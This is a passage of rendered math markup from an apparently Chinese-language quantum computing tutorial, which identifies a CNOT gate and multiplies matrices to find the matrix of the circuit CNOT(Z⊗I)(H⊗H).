style="height:4.8em;vertical-align:-2.15em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>第三部分是一個 CNOT Gate，因為他本來就是二元的 Gate 所以可以直接用。</p><p>所以我們可以計算總電路等價於：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>C</mi><mi>N</mi><mi>O</mi><mi>T</mi><mo stretchy="false">(</mo><mi>Z</mi><mo>⊗</mo><mi>I</mi><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>H</mi><mo>⊗</mo><mi>H</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}CNOT(Z \otimes I)(H\otimes H) &amp; =\begin{pmatrix} 1 &amp; 0 &amp; 0 &amp; 0 \\ 0 &amp; 0 &amp; 0 &amp; 1 \\ 0 &amp; 0 &amp; 1 &amp; 0 \\ 0 &amp; 1 &amp; 0 &amp; 0 \end{pmatrix}\begin{pmatrix}1 &amp; 0 &amp; 0 &amp; 0 \\0 &amp; 1 &amp; 0 &amp; 0 \\0 &amp; 0 &amp; -1 &amp; 0 \\0 &amp; 0 &amp; 0 &amp; -1\end{pmatrix}\frac{1}{2}\begin{pmatrix}1 &amp; 1 &amp; 1 &amp; 1 \\1 &amp; -1 &amp; 1 &amp; -1 \\1 &amp; 1 &amp; -1 &amp; -1 \\1 &amp; -1 &amp; -1 &amp; 1\end{pmatrix}\\&amp; =\frac{1}{2}\begin{pmatrix}1 &amp; 1 &amp; 1 &amp; 1 \\-1 &amp; 1 &amp; 1 &amp; -1 \\-1 &amp; -1 &amp; 1 &amp; 1 \\1 &amp; -1 &amp; 1 &amp; -1\end{pmatrix}\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:9.9001em;vertical-align:-4.7em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.2em;"><span style="top:-7.2em;"><span class="pstrut" style="height:4.65em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mord mathnormal" style="margin-right:0.1389em;">T</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0715em;">Z</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0785em;">I</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0813em;">H</span><span class="mclose">)</span></span></span><span style="top:-2.1em;"><span class="pstrut" style="height:4.65em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:4.7em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.2em;"><span style="top:-7.2em;"><span class="pstrut" style="height:4.65em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" 